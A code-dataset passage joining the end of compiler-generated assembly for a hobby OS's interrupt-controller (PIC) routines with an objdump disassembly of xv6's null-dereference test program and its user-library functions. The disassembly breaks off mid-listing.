L13: dd _outportb sub sp, -8 L10: db 0x66 leave retf L14: section .fxnsz dd L14 - _mask_pic2 ; glb unmask_pic1 : ( ; prm irq : unsigned char ; ) void section .text global _unmask_pic1 _unmask_pic1: push ebp movzx ebp, sp ;sub sp, 0 ; loc irq : (@8): unsigned char ; RPN'ized expression: "( ( 33 inportb ) irq ~ & , 33 outportb ) " ; Expanded expression: " 33 inportb ()4 (@8) *(1) ~ & 33 outportb ()8 " ; Fused expression: "( ( 33 , inportb )4 push-ax *(1) (@8) ~ & *sp ax , 33 , outportb )8 " push dword 33 db 0x9A section .relot dd L17 section .text L17: dd _inportb sub sp, -4 push eax mov al, [bp+8] movzx eax, al not eax mov ecx, eax pop eax and eax, ecx push eax push dword 33 db 0x9A section .relot dd L18 section .text L18: dd _outportb sub sp, -8 L15: db 0x66 leave retf L19: section .fxnsz dd L19 - _unmask_pic1 ; glb unmask_pic2 : ( ; prm irq : unsigned char ; ) void section .text global _unmask_pic2 _unmask_pic2: push ebp movzx ebp, sp ;sub sp, 0 ; loc irq : (@8): unsigned char ; RPN'ized expression: "( ( 161 inportb ) irq ~ & , 161 outportb ) " ; Expanded expression: " 161 inportb ()4 (@8) *(1) ~ & 161 outportb ()8 " ; Fused expression: "( ( 161 , inportb )4 push-ax *(1) (@8) ~ & *sp ax , 161 , outportb )8 " push dword 161 db 0x9A section .relot dd L22 section .text L22: dd _inportb sub sp, -4 push eax mov al, [bp+8] movzx eax, al not eax mov ecx, eax pop eax and eax, ecx push eax push dword 161 db 0x9A section .relot dd L23 section .text L23: dd _outportb sub sp, -8 L20: db 0x66 leave retf L24: section .fxnsz dd L24 - _unmask_pic2 ; glb get_pic1_isr : (void) unsigned char section .text global _get_pic1_isr _get_pic1_isr: push ebp movzx ebp, sp ;sub sp, 0 ; RPN'ized expression: "( 11 , 32 outportb ) " ; Expanded expression: " 11 32 outportb ()8 " ; Fused expression: "( 11 , 32 , outportb )8 " push dword 11 push dword 32 db 0x9A section .relot dd L27 section .text L27: dd _outportb sub sp, -8 ; return ; RPN'ized expression: "( 32 inportb ) " ; Expanded expression: " 32 inportb ()4 " ; Fused expression: "( 32 , inportb )4 " push dword 32 db 0x9A section .relot dd L28 section .text L28: dd _inportb sub sp, -4 L25: db 0x66 leave retf L29: section .fxnsz dd L29 - _get_pic1_isr ; glb get_pic2_isr : (void) unsigned char section .text global _get_pic2_isr _get_pic2_isr: push ebp movzx ebp, sp ;sub sp, 0 ; RPN'ized expression: "( 11 , 160 outportb ) " ; Expanded expression: " 11 160 outportb ()8 " ; Fused expression: "( 11 , 160 , outportb )8 " push dword 11 push dword 160 db 0x9A section .relot dd L32 section .text L32: dd _outportb sub sp, -8 ; return ; RPN'ized expression: "( 160 inportb ) " ; Expanded expression: " 160 inportb ()4 " ; Fused expression: "( 160 , inportb )4 " push dword 160 db 0x9A section .relot dd L33 section .text L33: dd _inportb sub sp, -4 L30: db 0x66 leave retf L34: section .fxnsz dd L34 - _get_pic2_isr ; glb set_pics : ( ; prm irq0 : unsigned char ; prm irq8 : unsigned char ; ) void section .text global _set_pics _set_pics: push ebp movzx ebp, sp ;sub sp, 0 ; loc irq0 : (@8): unsigned char ; loc irq8 : (@12): unsigned char ; RPN'ized expression: "( 17 , 32 outportb ) " ; Expanded expression: " 17 32 outportb ()8 " ; Fused expression: "( 17 , 32 , outportb )8 " push dword 17 push dword 32 db 0x9A section .relot dd L37 section .text L37: dd _outportb sub sp, -8 ; RPN'ized expression: "( 17 , 160 outportb ) " ; Expanded expression: " 17 160 outportb ()8 " ; Fused expression: "( 17 , 160 , outportb )8 " push dword 17 push dword 160 db 0x9A section .relot dd L38 section .text L38: dd _outportb sub sp, -8 ; RPN'ized expression: "( irq0 , 33 outportb ) " ; Expanded expression: " (@8) *(1) 33 outportb ()8 " ; Fused expression: "( *(1) (@8) , 33 , outportb )8 " mov al, [bp+8] movzx eax, al push eax push dword 33 db 0x9A section .relot dd L39 section .text L39: dd _outportb sub sp, -8 ; RPN'ized expression: "( irq8 , 161 outportb ) " ; Expanded expression: " (@12) *(1) 161 outportb ()8 " ; Fused expression: "( *(1) (@12) , 161 , outportb )8 " mov al, [bp+12] movzx eax, al push eax push dword 161 db 0x9A section .relot dd L40 section .text L40: dd _outportb sub sp, -8 ; RPN'ized expression: "( 4 , 33 outportb ) " ; Expanded expression: " 4 33 outportb ()8 " ; Fused expression: "( 4 , 33 , outportb )8 " push dword 4 push dword 33 db 0x9A section .relot dd L41 section .text L41: dd _outportb sub sp, -8 ; RPN'ized expression: "( 2 , 161 outportb ) " ; Expanded expression: " 2 161 outportb ()8 " ; Fused expression: "( 2 , 161 , outportb )8 " push dword 2 push dword 161 db 0x9A section .relot dd L42 section .text L42: dd _outportb sub sp, -8 ; RPN'ized expression: "( 1 , 33 outportb ) " ; Expanded expression: " 1 33 outportb ()8 " ; Fused expression: "( 1 , 33 , outportb )8 " push dword 1 push dword 33 db 0x9A section .relot dd L43 section .text L43: dd _outportb sub sp, -8 ; RPN'ized expression: "( 1 , 161 outportb ) " ; Expanded expression: " 1 161 outportb ()8 " ; Fused expression: "( 1 , 161 , outportb )8 " push dword 1 push dword 161 db 0x9A section .relot dd L44 section .text L44: dd _outportb sub sp, -8 ; RPN'ized expression: "( 1 2 << ~ , 33 outportb ) " ; Expanded expression: " -5 33 outportb ()8 " ; Fused expression: "( -5 , 33 , outportb )8 " push dword -5 push dword 33 db 0x9A section .relot dd L45 section .text L45: dd _outportb sub sp, -8 ; RPN'ized expression: "( 0 ~ , 161 outportb ) " ; Expanded expression: " -1 161 outportb ()8 " ; Fused expression: "( -1 , 161 , outportb )8 " push dword -1 push dword 161 db 0x9A section .relot dd L46 section .text L46: dd _outportb sub sp, -8 L35: db 0x66 leave retf L47: section .fxnsz dd L47 - _set_pics ; glb pic_setup : (void) void section .text global _pic_setup _pic_setup: push ebp movzx ebp, sp ;sub sp, 0 ; RPN'ized expression: "( 112 , 8 set_pics ) " ; Expanded expression: " 112 8 set_pics ()8 " ; Fused expression: "( 112 , 8 , set_pics )8 " push dword 112 push dword 8 db 0x9A section .relot dd L50 section .text L50: dd _set_pics sub sp, -8 L48: db 0x66 leave retf L51: section .fxnsz dd L51 - _pic_setup ; glb enable_hwirq : ( ; prm hwirq : int ; prm rti : * (void) void ; ) void section .text global _enable_hwirq _enable_hwirq: push ebp movzx ebp, sp sub sp, 4 ; loc hwirq : (@8): int ; loc rti : (@12): * (void) void ; loc vector : (@-4): int ; if ; RPN'ized expression: "hwirq 8 < " ; Expanded expression: "(@8) *(4) 8 < " ; Fused expression: "< *(@8) 8 IF! " mov eax, [bp+8] cmp eax, 8 jge L54 ; { ; RPN'ized expression: "( 1 hwirq << unmask_pic1 ) " ; Expanded expression: " 1 (@8) *(4) << unmask_pic1 ()4 " ; Fused expression: "( << 1 *(@8) , unmask_pic1 )4 " mov eax, 1 mov cl, [bp+8] shl eax, cl push eax db 0x9A section .relot dd L56 section .text L56: dd _unmask_pic1 sub sp, -4 ; RPN'ized expression: "vector 8 hwirq + = " ; Expanded expression: "(@-4) 8 (@8) *(4) + =(4) " ; Fused expression: "+ 8 *(@8) =(204) *(@-4) ax " mov eax, 8 add eax, [bp+8] mov [bp-4], eax ; } jmp L55 L54: ; else ; { ; RPN'ized expression: "( 1 hwirq 8 - << unmask_pic2 ) " ; Expanded expression: " 1 (@8) *(4) 8 - << unmask_pic2 ()4 " ; Fused expression: "( - *(@8) 8 << 1 ax , unmask_pic2 )4 " mov eax, [bp+8] sub eax, 8 mov ecx, eax mov eax, 1 shl eax, cl push eax db 0x9A section .relot dd L57 section .text L57: dd _unmask_pic2 sub sp, -4 ; RPN'ized expression: "vector 112 hwirq + 8 - = " ; Expanded expression: "(@-4) 112 (@8) *(4) + 8 - =(4) " ; Fused expression: "+ 112 *(@8) - ax 8 =(204) *(@-4) ax " mov eax, 112 add eax, [bp+8] sub eax, 8 mov [bp-4], eax ; } L55: ; RPN'ized expression: "ptrTVI vector + *u rti = " ; Expanded expression: "ptrTVI *(4) (@-4) *(4) 4 * + (@12) *(4) =(4) " ; Fused expression: "ptrTVI push-ax * *(@-4) 4 + **sp ax =(204) *ax *(@12) " section .relod dd L58 section .text db 0x66, 0xB8 L58: dd _ptrTVI push eax mov eax, [bp-4] imul eax, eax, 4 mov ecx, eax pop ebx mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov eax, [si] add eax, ecx mov ebx, eax mov eax, [bp+12] mov esi, ebx ror esi, 4 mov ds, si shr esi, 28 mov [si], eax L52: db 0x66 leave retf L59: section .fxnsz dd L59 - _enable_hwirq extern _inportb extern _outportb ; Syntax/declaration table/stack: ; Bytes used: 2050/40960 ; Macro table: ; Macro __SMALLER_C__ = `0x0100` ; Macro __SMALLER_C_32__ = `` ; Macro __HUGE__ = `` ; Macro __SMALLER_C_SCHAR__ = `` ; Bytes used: 74/5120 ; Identifier table: ; Ident __floatsisf ; Ident __floatunsisf ; Ident __fixsfsi ; Ident __fixunssfsi ; Ident __addsf3 ; Ident __subsf3 ; Ident __negsf2 ; Ident __mulsf3 ; Ident __divsf3 ; Ident __lesf2 ; Ident __gesf2 ; Ident intptr_t ; Ident uintptr_t ; Ident intmax_t ; Ident uintmax_t ; Ident int8_t ; Ident int_least8_t ; Ident int_fast8_t ; Ident uint8_t ; Ident uint_least8_t ; Ident uint_fast8_t ; Ident int16_t ; Ident int_least16_t ; Ident int_fast16_t ; Ident uint16_t ; Ident uint_least16_t ; Ident uint_fast16_t ; Ident int32_t ; Ident int_least32_t ; Ident int_fast32_t ; Ident uint32_t ; Ident uint_least32_t ; Ident uint_fast32_t ; Ident <something> ; Ident quot ; Ident rem ; Ident imaxdiv_t ; Ident FALSE ; Ident TRUE ; Ident bool_t ; Ident pointer_t ; Ident funcion_t ; Ident manejador_t ; Ident rti_t ; Ident isr_t ; Ident handler_t ; Ident retardarThread_t ; Ident ptrTVI_t ; Ident modoSO1_Bin ; Ident modoSO1_Exe ; Ident modoSO1_Bs ; Ident modoSO1_t ; Ident lo ; Ident hi ; Ident lh_t ; Ident offset ; Ident segment ; Ident address_t ; Ident ptr ; Ident adr ; Ident uPtrAdr_t ; Ident pid_t ; Ident tid_t ; Ident uid_t ; Ident gid_t ; Ident pindx_t ; Ident tindx_t ; Ident df_t ; Ident dfs_t ; Ident rindx_t ; Ident inportb ; Ident port ; Ident inport ; Ident outport ; Ident val ; Ident outportb ; Ident inportb_r ; Ident outportb_r ; Ident contadorTimer0 ; Ident ptrTVI ; Ident valorIMR ; Ident establecerIMR ; Ident nuevoIMR ; Ident mask_pic1 ; Ident irq ; Ident mask_pic2 ; Ident unmask_pic1 ; Ident unmask_pic2 ; Ident get_pic1_isr ; Ident get_pic2_isr ; Ident set_pics ; Ident irq0 ; Ident irq8 ; Ident pic_setup ; Ident enable_hwirq ; Ident hwirq ; Ident rti ; Bytes used: 987/16384 ; Next label number: 60 ; Compilation succeeded.
19.066667
95
0.641443
736a6fc412862044ed2f12f6576d1b16a2f0d30f
47,756
asm
Assembly
null_test.asm
shahendahamdy/xv6
a8124692310f3deea36949224b02f3945092f7fd
[ "MIT-0" ]
null
null
null
null_test.asm
shahendahamdy/xv6
a8124692310f3deea36949224b02f3945092f7fd
[ "MIT-0" ]
null
null
null
null_test.asm
shahendahamdy/xv6
a8124692310f3deea36949224b02f3945092f7fd
[ "MIT-0" ]
null
null
null
_null_test: file format elf32-i386 Disassembly of section .text: 00001000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 1000: f3 0f 1e fb endbr32 1004: 8d 4c 24 04 lea 0x4(%esp),%ecx 1008: 83 e4 f0 and $0xfffffff0,%esp 100b: ff 71 fc pushl -0x4(%ecx) 100e: 55 push %ebp 100f: 89 e5 mov %esp,%ebp 1011: 51 push %ecx 1012: 83 ec 04 sub $0x4,%esp int ppid = getpid(); 1015: e8 63 05 00 00 call 157d <getpid> if (fork() == 0) { 101a: e8 d6 04 00 00 call 14f5 <fork> 101f: 85 c0 test %eax,%eax 1021: 75 15 jne 1038 <main+0x38> uint * nullp = (uint*)0; printf(1, "null dereference: "); 1023: 52 push %edx 1024: 52 push %edx 1025: 68 58 18 00 00 push $0x1858 102a: 6a 01 push $0x1 102c: e8 5f 06 00 00 call 1690 <printf> printf(1, "%x %x\n", nullp, *nullp); 1031: a1 00 00 00 00 mov 0x0,%eax 1036: 0f 0b ud2 // this process should be killed printf(1, "TEST FAILED\n"); kill(ppid); exit(); } else { wait(); 1038: e8 c8 04 00 00 call 1505 <wait> } printf(1, "TEST PASSED\n"); 103d: 50 push %eax 103e: 50 push %eax 103f: 68 6b 18 00 00 push $0x186b 1044: 6a 01 push $0x1 1046: e8 45 06 00 00 call 1690 <printf> exit(); 104b: e8 ad 04 00 00 call 14fd <exit> 00001050 <strcpy>: }; char* strcpy(char *s, const char *t) { 1050: f3 0f 1e fb endbr32 1054: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 1055: 31 c0 xor %eax,%eax { 1057: 89 e5 mov %esp,%ebp 1059: 53 push %ebx 105a: 8b 4d 08 mov 0x8(%ebp),%ecx 105d: 8b 5d 0c mov 0xc(%ebp),%ebx while((*s++ = *t++) != 0) 1060: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 1064: 88 14 01 mov %dl,(%ecx,%eax,1) 1067: 83 c0 01 add $0x1,%eax 106a: 84 d2 test %dl,%dl 106c: 75 f2 jne 1060 <strcpy+0x10> ; return os; } 106e: 89 c8 mov %ecx,%eax 1070: 5b pop %ebx 1071: 5d pop %ebp 1072: c3 ret 1073: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 107a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001080 <strcmp>: int strcmp(const char *p, const char *q) { 1080: f3 0f 1e fb endbr32 1084: 55 push %ebp 1085: 89 e5 mov %esp,%ebp 1087: 53 push %ebx 1088: 8b 4d 08 mov 0x8(%ebp),%ecx 108b: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 108e: 0f b6 01 movzbl (%ecx),%eax 1091: 0f b6 1a movzbl (%edx),%ebx 1094: 84 c0 test %al,%al 1096: 75 19 jne 10b1 <strcmp+0x31> 1098: eb 26 jmp 10c0 <strcmp+0x40> 109a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10a0: 0f b6 41 01 movzbl 0x1(%ecx),%eax p++, q++; 10a4: 83 c1 01 add $0x1,%ecx 10a7: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 10aa: 0f b6 1a movzbl (%edx),%ebx 10ad: 84 c0 test %al,%al 10af: 74 0f je 10c0 <strcmp+0x40> 10b1: 38 d8 cmp %bl,%al 10b3: 74 eb je 10a0 <strcmp+0x20> return (uchar)*p - (uchar)*q; 10b5: 29 d8 sub %ebx,%eax } 10b7: 5b pop %ebx 10b8: 5d pop %ebp 10b9: c3 ret 10ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10c0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 10c2: 29 d8 sub %ebx,%eax } 10c4: 5b pop %ebx 10c5: 5d pop %ebp 10c6: c3 ret 10c7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10ce: 66 90 xchg %ax,%ax 000010d0 <strlen>: uint strlen(const char *s) { 10d0: f3 0f 1e fb endbr32 10d4: 55 push %ebp 10d5: 89 e5 mov %esp,%ebp 10d7: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 10da: 80 3a 00 cmpb $0x0,(%edx) 10dd: 74 21 je 1100 <strlen+0x30> 10df: 31 c0 xor %eax,%eax 10e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10e8: 83 c0 01 add $0x1,%eax 10eb: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 10ef: 89 c1 mov %eax,%ecx 10f1: 75 f5 jne 10e8 <strlen+0x18> ; return n; } 10f3: 89 c8 mov %ecx,%eax 10f5: 5d pop %ebp 10f6: c3 ret 10f7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10fe: 66 90 xchg %ax,%ax for(n = 0; s[n]; n++) 1100: 31 c9 xor %ecx,%ecx } 1102: 5d pop %ebp 1103: 89 c8 mov %ecx,%eax 1105: c3 ret 1106: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 110d: 8d 76 00 lea 0x0(%esi),%esi 00001110 <memset>: void* memset(void *dst, int c, uint n) { 1110: f3 0f 1e fb endbr32 1114: 55 push %ebp 1115: 89 e5 mov %esp,%ebp 1117: 57 push %edi 1118: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 111b: 8b 4d 10 mov 0x10(%ebp),%ecx 111e: 8b 45 0c mov 0xc(%ebp),%eax 1121: 89 d7 mov %edx,%edi 1123: fc cld 1124: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1126: 89 d0 mov %edx,%eax 1128: 5f pop %edi 1129: 5d pop %ebp 112a: c3 ret 112b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 112f: 90 nop 00001130 <strchr>: char* strchr(const char *s, char c) { 1130: f3 0f 1e fb endbr32 1134: 55 push %ebp 1135: 89 e5 mov %esp,%ebp 1137: 8b 45 08 mov 0x8(%ebp),%eax 113a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 113e: 0f b6 10 movzbl (%eax),%edx 1141: 84 d2 test %dl,%dl 1143: 75 16 jne 115b <strchr+0x2b> 1145: eb 21 jmp 1168 <strchr+0x38> 1147: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 114e: 66 90 xchg %ax,%ax 1150: 0f b6 50 01 movzbl 0x1(%eax),%edx 1154: 83 c0 01 add $0x1,%eax 1157: 84 d2 test %dl,%dl 1159: 74 0d je 1168 <strchr+0x38> if(*s == c) 115b: 38 d1 cmp %dl,%cl 115d: 75 f1 jne 1150 <strchr+0x20> return (char*)s; return 0; } 115f: 5d pop %ebp 1160: c3 ret 1161: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 1168: 31 c0 xor %eax,%eax } 116a: 5d pop %ebp 116b: c3 ret 116c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001170 <gets>: char* gets(char *buf, int max) { 1170: f3 0f 1e fb endbr32 1174: 55 push %ebp 1175: 89 e5 mov %esp,%ebp 1177: 57 push %edi 1178: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1179: 31 f6 xor %esi,%esi { 117b: 53 push %ebx 117c: 89 f3 mov %esi,%ebx 117e: 83 ec 1c sub $0x1c,%esp 1181: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 1184: eb 33 jmp 11b9 <gets+0x49> 1186: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 118d: 8d 76 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 1190: 83 ec 04 sub $0x4,%esp 1193: 8d 45 e7 lea -0x19(%ebp),%eax 1196: 6a 01 push $0x1 1198: 50 push %eax 1199: 6a 00 push $0x0 119b: e8 75 03 00 00 call 1515 <read> if(cc < 1) 11a0: 83 c4 10 add $0x10,%esp 11a3: 85 c0 test %eax,%eax 11a5: 7e 1c jle 11c3 <gets+0x53> break; buf[i++] = c; 11a7: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 11ab: 83 c7 01 add $0x1,%edi 11ae: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 11b1: 3c 0a cmp $0xa,%al 11b3: 74 23 je 11d8 <gets+0x68> 11b5: 3c 0d cmp $0xd,%al 11b7: 74 1f je 11d8 <gets+0x68> for(i=0; i+1 < max; ){ 11b9: 83 c3 01 add $0x1,%ebx 11bc: 89 fe mov %edi,%esi 11be: 3b 5d 0c cmp 0xc(%ebp),%ebx 11c1: 7c cd jl 1190 <gets+0x20> 11c3: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 11c5: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 11c8: c6 03 00 movb $0x0,(%ebx) } 11cb: 8d 65 f4 lea -0xc(%ebp),%esp 11ce: 5b pop %ebx 11cf: 5e pop %esi 11d0: 5f pop %edi 11d1: 5d pop %ebp 11d2: c3 ret 11d3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 11d7: 90 nop 11d8: 8b 75 08 mov 0x8(%ebp),%esi 11db: 8b 45 08 mov 0x8(%ebp),%eax 11de: 01 de add %ebx,%esi 11e0: 89 f3 mov %esi,%ebx buf[i] = '\0'; 11e2: c6 03 00 movb $0x0,(%ebx) } 11e5: 8d 65 f4 lea -0xc(%ebp),%esp 11e8: 5b pop %ebx 11e9: 5e pop %esi 11ea: 5f pop %edi 11eb: 5d pop %ebp 11ec: c3 ret 11ed: 8d 76 00 lea 0x0(%esi),%esi 000011f0 <stat>: int stat(const char *n, struct stat *st) { 11f0: f3 0f 1e fb endbr32 11f4: 55 push %ebp 11f5: 89 e5 mov %esp,%ebp 11f7: 56 push %esi 11f8: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 11f9: 83 ec 08 sub $0x8,%esp 11fc: 6a 00 push $0x0 11fe: ff 75 08 pushl 0x8(%ebp) 1201: e8 37 03 00 00 call 153d <open> if(fd < 0) 1206: 83 c4 10 add $0x10,%esp 1209: 85 c0 test %eax,%eax 120b: 78 2b js 1238 <stat+0x48> return -1; r = fstat(fd, st); 120d: 83 ec 08 sub $0x8,%esp 1210: ff 75 0c pushl 0xc(%ebp) 1213: 89 c3 mov %eax,%ebx 1215: 50 push %eax 1216: e8 3a 03 00 00 call 1555 <fstat> close(fd); 121b: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 121e: 89 c6 mov %eax,%esi close(fd); 1220: e8 00 03 00 00 call 1525 <close> return r; 1225: 83 c4 10 add $0x10,%esp } 1228: 8d 65 f8 lea -0x8(%ebp),%esp 122b: 89 f0 mov %esi,%eax 122d: 5b pop %ebx 122e: 5e pop %esi 122f: 5d pop %ebp 1230: c3 ret 1231: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 1238: be ff ff ff ff mov $0xffffffff,%esi 123d: eb e9 jmp 1228 <stat+0x38> 123f: 90 nop 00001240 <atoi>: int atoi(const char *s) { 1240: f3 0f 1e fb endbr32 1244: 55 push %ebp 1245: 89 e5 mov %esp,%ebp 1247: 53 push %ebx 1248: 8b 55 08 mov 0x8(%ebp),%edx int n; n = 0; while('0' <= *s && *s <= '9') 124b: 0f be 02 movsbl (%edx),%eax 124e: 8d 48 d0 lea -0x30(%eax),%ecx 1251: 80 f9 09 cmp $0x9,%cl n = 0; 1254: b9 00 00 00 00 mov $0x0,%ecx while('0' <= *s && *s <= '9') 1259: 77 1a ja 1275 <atoi+0x35> 125b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 125f: 90 nop n = n*10 + *s++ - '0'; 1260: 83 c2 01 add $0x1,%edx 1263: 8d 0c 89 lea (%ecx,%ecx,4),%ecx 1266: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx while('0' <= *s && *s <= '9') 126a: 0f be 02 movsbl (%edx),%eax 126d: 8d 58 d0 lea -0x30(%eax),%ebx 1270: 80 fb 09 cmp $0x9,%bl 1273: 76 eb jbe 1260 <atoi+0x20> return n; } 1275: 89 c8 mov %ecx,%eax 1277: 5b pop %ebx 1278: 5d pop %ebp 1279: c3 ret 127a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001280 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 1280: f3 0f 1e fb endbr32 1284: 55 push %ebp 1285: 89 e5 mov %esp,%ebp 1287: 57 push %edi 1288: 8b 45 10 mov 0x10(%ebp),%eax 128b: 8b 55 08 mov 0x8(%ebp),%edx 128e: 56 push %esi 128f: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 1292: 85 c0 test %eax,%eax 1294: 7e 0f jle 12a5 <memmove+0x25> 1296: 01 d0 add %edx,%eax dst = vdst; 1298: 89 d7 mov %edx,%edi 129a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *dst++ = *src++; 12a0: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 12a1: 39 f8 cmp %edi,%eax 12a3: 75 fb jne 12a0 <memmove+0x20> return vdst; } 12a5: 5e pop %esi 12a6: 89 d0 mov %edx,%eax 12a8: 5f pop %edi 12a9: 5d pop %ebp 12aa: c3 ret 12ab: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 12af: 90 nop 000012b0 <thread_join>: void* stack; stack =malloc(4096); //pgsize return clone(start_routine,arg1,arg2,stack); } int thread_join() { 12b0: f3 0f 1e fb endbr32 12b4: 55 push %ebp 12b5: 89 e5 mov %esp,%ebp 12b7: 83 ec 24 sub $0x24,%esp void * stackPtr; int x = join(&stackPtr); 12ba: 8d 45 f4 lea -0xc(%ebp),%eax 12bd: 50 push %eax 12be: e8 0a 03 00 00 call 15cd <join> return x; } 12c3: c9 leave 12c4: c3 ret 12c5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 12cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000012d0 <lock_init>: void lock_init(struct lock_t *lk){ 12d0: f3 0f 1e fb endbr32 12d4: 55 push %ebp 12d5: 89 e5 mov %esp,%ebp lk->locked=0; //intialize as unnlocked 12d7: 8b 45 08 mov 0x8(%ebp),%eax 12da: c7 00 00 00 00 00 movl $0x0,(%eax) } 12e0: 5d pop %ebp 12e1: c3 ret 12e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 12e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000012f0 <lock_acquire>: void lock_acquire(struct lock_t *lk){ 12f0: f3 0f 1e fb endbr32 12f4: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 12f5: b9 01 00 00 00 mov $0x1,%ecx 12fa: 89 e5 mov %esp,%ebp 12fc: 8b 55 08 mov 0x8(%ebp),%edx 12ff: 90 nop 1300: 89 c8 mov %ecx,%eax 1302: f0 87 02 lock xchg %eax,(%edx) while(xchg(&lk->locked,1) != 0); 1305: 85 c0 test %eax,%eax 1307: 75 f7 jne 1300 <lock_acquire+0x10> } 1309: 5d pop %ebp 130a: c3 ret 130b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 130f: 90 nop 00001310 <lock_release>: void lock_release(struct lock_t *lk){ 1310: f3 0f 1e fb endbr32 1314: 55 push %ebp 1315: 31 c0 xor %eax,%eax 1317: 89 e5 mov %esp,%ebp 1319: 8b 55 08 mov 0x8(%ebp),%edx 131c: f0 87 02 lock xchg %eax,(%edx) xchg(&lk->locked,0) ; } 131f: 5d pop %ebp 1320: c3 ret 1321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1328: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 132f: 90 nop 00001330 <free>: static Header base; static Header *freep; void free(void *ap) { 1330: f3 0f 1e fb endbr32 1334: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1335: a1 c8 1b 00 00 mov 0x1bc8,%eax { 133a: 89 e5 mov %esp,%ebp 133c: 57 push %edi 133d: 56 push %esi 133e: 53 push %ebx 133f: 8b 5d 08 mov 0x8(%ebp),%ebx 1342: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 1344: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1347: 39 c8 cmp %ecx,%eax 1349: 73 15 jae 1360 <free+0x30> 134b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 134f: 90 nop 1350: 39 d1 cmp %edx,%ecx 1352: 72 14 jb 1368 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1354: 39 d0 cmp %edx,%eax 1356: 73 10 jae 1368 <free+0x38> { 1358: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 135a: 8b 10 mov (%eax),%edx 135c: 39 c8 cmp %ecx,%eax 135e: 72 f0 jb 1350 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1360: 39 d0 cmp %edx,%eax 1362: 72 f4 jb 1358 <free+0x28> 1364: 39 d1 cmp %edx,%ecx 1366: 73 f0 jae 1358 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 1368: 8b 73 fc mov -0x4(%ebx),%esi 136b: 8d 3c f1 lea (%ecx,%esi,8),%edi 136e: 39 fa cmp %edi,%edx 1370: 74 1e je 1390 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 1372: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 1375: 8b 50 04 mov 0x4(%eax),%edx 1378: 8d 34 d0 lea (%eax,%edx,8),%esi 137b: 39 f1 cmp %esi,%ecx 137d: 74 28 je 13a7 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 137f: 89 08 mov %ecx,(%eax) freep = p; } 1381: 5b pop %ebx freep = p; 1382: a3 c8 1b 00 00 mov 